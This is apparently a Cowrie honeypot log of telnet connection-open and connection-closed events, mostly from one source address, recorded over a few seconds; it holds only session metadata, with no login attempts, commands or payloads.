{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":48816,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5e98e458cb3","protocol":"telnet","message":"New connection: 64.235.40.29:48816 (10.17.0.5:23) [session: a5e98e458cb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:23.084643Z"}
{"eventid":"cowrie.session.closed","duration":30.891533136367798,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:23.088567Z","src_ip":"64.235.40.29","session":"eba75fdfed5a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.510250568389893,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:23.146669Z","src_ip":"64.235.40.29","session":"1a8753cbc350","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.311627864837646,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:23.178160Z","src_ip":"64.235.40.29","session":"506e8d70706b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":48774,"dst_ip":"10.17.0.5","dst_port":23,"session":"defe40bd30f8","protocol":"telnet","message":"New connection: 64.235.40.29:48774 (10.17.0.5:23) [session: defe40bd30f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:23.183257Z"}
{"eventid":"cowrie.session.closed","duration":30.367856740951538,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:23.287737Z","src_ip":"64.235.40.29","session":"1f66efa2a9f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":48852,"dst_ip":"10.17.0.5","dst_port":23,"session":"82a09cfa1d7c","protocol":"telnet","message":"New connection: 64.235.40.29:48852 (10.17.0.5:23) [session: 82a09cfa1d7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:23.328911Z"}
{"eventid":"cowrie.session.closed","duration":31.350008487701416,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:23.345800Z","src_ip":"64.235.40.29","session":"d50630152b08","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":48856,"dst_ip":"10.17.0.5","dst_port":23,"session":"77547fbb4e90","protocol":"telnet","message":"New connection: 64.235.40.29:48856 (10.17.0.5:23) [session: 77547fbb4e90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:23.351068Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":48870,"dst_ip":"10.17.0.5","dst_port":23,"session":"53f3e5d3110a","protocol":"telnet","message":"New connection: 64.235.40.29:48870 (10.17.0.5:23) [session: 53f3e5d3110a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:23.493980Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":48716,"dst_ip":"10.17.0.5","dst_port":23,"session":"9213149acb16","protocol":"telnet","message":"New connection: 64.235.40.29:48716 (10.17.0.5:23) [session: 9213149acb16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:23.631535Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":38262,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd4a28043a06","protocol":"telnet","message":"New connection: 160.250.4.73:38262 (10.17.0.5:23) [session: dd4a28043a06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:23.791169Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":48876,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0100c6ce8ed","protocol":"telnet","message":"New connection: 64.235.40.29:48876 (10.17.0.5:23) [session: a0100c6ce8ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:24.163877Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":48878,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b46aa14d689","protocol":"telnet","message":"New connection: 64.235.40.29:48878 (10.17.0.5:23) [session: 7b46aa14d689]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:24.308574Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":48890,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7fc68906767","protocol":"telnet","message":"New connection: 64.235.40.29:48890 (10.17.0.5:23) [session: b7fc68906767]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:24.537207Z"}
{"eventid":"cowrie.session.closed","duration":31.55597472190857,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:24.608705Z","src_ip":"64.235.40.29","session":"30cdfb4ed372","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.728803396224976,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:24.646667Z","src_ip":"64.235.40.29","session":"6ad5672d5dfc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":38276,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6dd74e05827","protocol":"telnet","message":"New connection: 160.250.4.73:38276 (10.17.0.5:23) [session: d6dd74e05827]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:24.849439Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":57568,"dst_ip":"10.17.0.5","dst_port":23,"session":"85b4114c8403","protocol":"telnet","message":"New connection: 64.235.40.29:57568 (10.17.0.5:23) [session: 85b4114c8403]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:24.969715Z"}
{"eventid":"cowrie.session.closed","duration":30.752437591552734,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:25.044316Z","src_ip":"64.235.40.29","session":"620e586aad63","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.109269857406616,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:25.049780Z","src_ip":"64.235.40.29","session":"c1c182c8a982","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.702883005142212,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:25.072768Z","src_ip":"64.235.40.29","session":"5d65a959fc99","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.182791233062744,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:25.084725Z","src_ip":"64.235.40.29","session":"a0d77dc8257f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":52460,"dst_ip":"10.17.0.5","dst_port":23,"session":"3423a51a7b3f","protocol":"telnet","message":"New connection: 135.148.33.217:52460 (10.17.0.5:23) [session: 3423a51a7b3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:25.091962Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":57588,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed04b9f271cf","protocol":"telnet","message":"New connection: 64.235.40.29:57588 (10.17.0.5:23) [session: ed04b9f271cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:26.048956Z"}
{"eventid":"cowrie.session.closed","duration":30.72296643257141,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:26.058260Z","src_ip":"64.235.40.29","session":"1bce3ea41db8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":57592,"dst_ip":"10.17.0.5","dst_port":23,"session":"64747cd9a59f","protocol":"telnet","message":"New connection: 64.235.40.29:57592 (10.17.0.5:23) [session: 64747cd9a59f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:26.119926Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":57596,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2de96e34eeb","protocol":"telnet","message":"New connection: 64.235.40.29:57596 (10.17.0.5:23) [session: a2de96e34eeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:26.125354Z"}
{"eventid":"cowrie.session.closed","duration":30.381675004959106,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:26.154263Z","src_ip":"64.235.40.29","session":"0ff90b3f09a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":57612,"dst_ip":"10.17.0.5","dst_port":23,"session":"60d3d42d19a9","protocol":"telnet","message":"New connection: 64.235.40.29:57612 (10.17.0.5:23) [session: 60d3d42d19a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:26.216220Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":57614,"dst_ip":"10.17.0.5","dst_port":23,"session":"28f248ef9815","protocol":"telnet","message":"New connection: 64.235.40.29:57614 (10.17.0.5:23) [session: 28f248ef9815]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:26.223082Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":57622,"dst_ip":"10.17.0.5","dst_port":23,"session":"52ec94241abe","protocol":"telnet","message":"New connection: 64.235.40.29:57622 (10.17.0.5:23) [session: 52ec94241abe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:26.290935Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":48842,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c5384844e87","protocol":"telnet","message":"New connection: 64.235.40.29:48842 (10.17.0.5:23) [session: 9c5384844e87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:26.315709Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":57580,"dst_ip":"10.17.0.5","dst_port":23,"session":"c89d27eda883","protocol":"telnet","message":"New connection: 64.235.40.29:57580 (10.17.0.5:23) [session: c89d27eda883]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:26.319185Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":57638,"dst_ip":"10.17.0.5","dst_port":23,"session":"997bcf32d77d","protocol":"telnet","message":"New connection: 64.235.40.29:57638 (10.17.0.5:23) [session: 997bcf32d77d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:26.370737Z"}
{"eventid":"cowrie.session.closed","duration":31.07684874534607,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:26.404040Z","src_ip":"64.235.40.29","session":"bfe15c72266d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":57666,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0dd248bdd70","protocol":"telnet","message":"New connection: 64.235.40.29:57666 (10.17.0.5:23) [session: f0dd248bdd70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:26.499875Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":57674,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5347045ab83","protocol":"telnet","message":"New connection: 64.235.40.29:57674 (10.17.0.5:23) [session: c5347045ab83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:26.623928Z"}
{"eventid":"cowrie.session.closed","duration":31.218175649642944,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:26.831208Z","src_ip":"64.235.40.29","session":"d1728d79fe87","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.609971046447754,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:26.917723Z","src_ip":"64.235.40.29","session":"05c9670381d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":38288,"dst_ip":"10.17.0.5","dst_port":23,"session":"583339b5c577","protocol":"telnet","message":"New connection: 160.250.4.73:38288 (10.17.0.5:23) [session: 583339b5c577]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:26.967432Z"}
{"eventid":"cowrie.session.closed","duration":30.474563360214233,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:27.154313Z","src_ip":"64.235.40.29","session":"780b746fa175","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.969449758529663,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:27.159949Z","src_ip":"64.235.40.29","session":"7729f02f256f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.215808153152466,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:27.275732Z","src_ip":"64.235.40.29","session":"31846ff49e05","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":57696,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f7997dfcb12","protocol":"telnet","message":"New connection: 64.235.40.29:57696 (10.17.0.5:23) [session: 8f7997dfcb12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:27.279682Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":57628,"dst_ip":"10.17.0.5","dst_port":23,"session":"909d26303619","protocol":"telnet","message":"New connection: 64.235.40.29:57628 (10.17.0.5:23) [session: 909d26303619]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:27.343333Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":57650,"dst_ip":"10.17.0.5","dst_port":23,"session":"37369878c27a","protocol":"telnet","message":"New connection: 64.235.40.29:57650 (10.17.0.5:23) [session: 37369878c27a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:27.404167Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":57710,"dst_ip":"10.17.0.5","dst_port":23,"session":"d11787efed2b","protocol":"telnet","message":"New connection: 64.235.40.29:57710 (10.17.0.5:23) [session: d11787efed2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:27.449965Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":57716,"dst_ip":"10.17.0.5","dst_port":23,"session":"bedf7a83ef25","protocol":"telnet","message":"New connection: 64.235.40.29:57716 (10.17.0.5:23) [session: bedf7a83ef25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:27.614304Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":57718,"dst_ip":"10.17.0.5","dst_port":23,"session":"c40e0eb84be3","protocol":"telnet","message":"New connection: 64.235.40.29:57718 (10.17.0.5:23) [session: c40e0eb84be3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:27.699946Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":57730,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a1bbcdd4dee","protocol":"telnet","message":"New connection: 64.235.40.29:57730 (10.17.0.5:23) [session: 0a1bbcdd4dee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:28.005059Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":57688,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3133115d69e","protocol":"telnet","message":"New connection: 64.235.40.29:57688 (10.17.0.5:23) [session: e3133115d69e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:28.047608Z"}
{"eventid":"cowrie.session.closed","duration":30.87848162651062,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:28.066391Z","src_ip":"64.235.40.29","session":"f2330ead2dc4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.886157512664795,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:28.080808Z","src_ip":"64.235.40.29","session":"ccb12fca4370","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.791792631149292,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:28.084261Z","src_ip":"64.235.40.29","session":"9a48faa7ab5a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":38298,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8f02db42d9a","protocol":"telnet","message":"New connection: 160.250.4.73:38298 (10.17.0.5:23) [session: d8f02db42d9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:28.616078Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":57752,"dst_ip":"10.17.0.5","dst_port":23,"session":"757b9468bc4a","protocol":"telnet","message":"New connection: 64.235.40.29:57752 (10.17.0.5:23) [session: 757b9468bc4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:28.692946Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":38304,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc8c0ac70f6e","protocol":"telnet","message":"New connection: 160.250.4.73:38304 (10.17.0.5:23) [session: bc8c0ac70f6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:28.750900Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":57770,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c82db14b0a7","protocol":"telnet","message":"New connection: 64.235.40.29:57770 (10.17.0.5:23) [session: 8c82db14b0a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:29.032485Z"}
{"eventid":"cowrie.session.closed","duration":30.879050731658936,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:29.053092Z","src_ip":"64.235.40.29","session":"f2d8fbcfaaad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.942293882369995,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:29.060894Z","src_ip":"64.235.40.29","session":"5480b9a080f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":57734,"dst_ip":"10.17.0.5","dst_port":23,"session":"c241fb5733b1","protocol":"telnet","message":"New connection: 64.235.40.29:57734 (10.17.0.5:23) [session: c241fb5733b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:29.247347Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":57926,"dst_ip":"10.17.0.5","dst_port":23,"session":"d958f2d160f4","protocol":"telnet","message":"New connection: 135.148.33.217:57926 (10.17.0.5:23) [session: d958f2d160f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:29.410890Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":57738,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1e272d92c60","protocol":"telnet","message":"New connection: 64.235.40.29:57738 (10.17.0.5:23) [session: d1e272d92c60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:29.500937Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":57768,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b3a5a886d17","protocol":"telnet","message":"New connection: 64.235.40.29:57768 (10.17.0.5:23) [session: 9b3a5a886d17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:29.726945Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":57774,"dst_ip":"10.17.0.5","dst_port":23,"session":"892e964a1da3","protocol":"telnet","message":"New connection: 64.235.40.29:57774 (10.17.0.5:23) [session: 892e964a1da3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:29.798819Z"}
{"eventid":"cowrie.session.closed","duration":30.876511335372925,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:30.048999Z","src_ip":"64.235.40.29","session":"a65247dd87b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.038941144943237,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:30.074622Z","src_ip":"64.235.40.29","session":"d07569bb18fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.902960777282715,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:30.174570Z","src_ip":"64.235.40.29","session":"fe97a342d6c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":57784,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7c024e8cec8","protocol":"telnet","message":"New connection: 64.235.40.29:57784 (10.17.0.5:23) [session: e7c024e8cec8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:30.429268Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":57790,"dst_ip":"10.17.0.5","dst_port":23,"session":"374eea1fc0a8","protocol":"telnet","message":"New connection: 64.235.40.29:57790 (10.17.0.5:23) [session: 374eea1fc0a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:30.717822Z"}
{"eventid":"cowrie.session.closed","duration":31.557923316955566,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:30.766392Z","src_ip":"64.235.40.29","session":"30c5a4dc0643","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.468193531036377,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:31.038991Z","src_ip":"64.235.40.29","session":"63bb67284d12","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":57820,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2752d6defa3","protocol":"telnet","message":"New connection: 64.235.40.29:57820 (10.17.0.5:23) [session: d2752d6defa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:31.091858Z"}
{"eventid":"cowrie.session.closed","duration":30.907256364822388,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:31.185421Z","src_ip":"64.235.40.29","session":"3743e25e72a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.54163360595703,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:31.216536Z","src_ip":"64.235.40.29","session":"2eff82e31285","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":57836,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c0635f98741","protocol":"telnet","message":"New connection: 64.235.40.29:57836 (10.17.0.5:23) [session: 3c0635f98741]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:31.256276Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":57858,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb04e8351e91","protocol":"telnet","message":"New connection: 64.235.40.29:57858 (10.17.0.5:23) [session: fb04e8351e91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:31.678051Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":57870,"dst_ip":"10.17.0.5","dst_port":23,"session":"2fe1bc16bbb8","protocol":"telnet","message":"New connection: 64.235.40.29:57870 (10.17.0.5:23) [session: 2fe1bc16bbb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:31.758566Z"}
{"eventid":"cowrie.session.closed","duration":30.16605567932129,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:32.034752Z","src_ip":"64.235.40.29","session":"ee3bcb7cdafa","protocol":"telnet"}
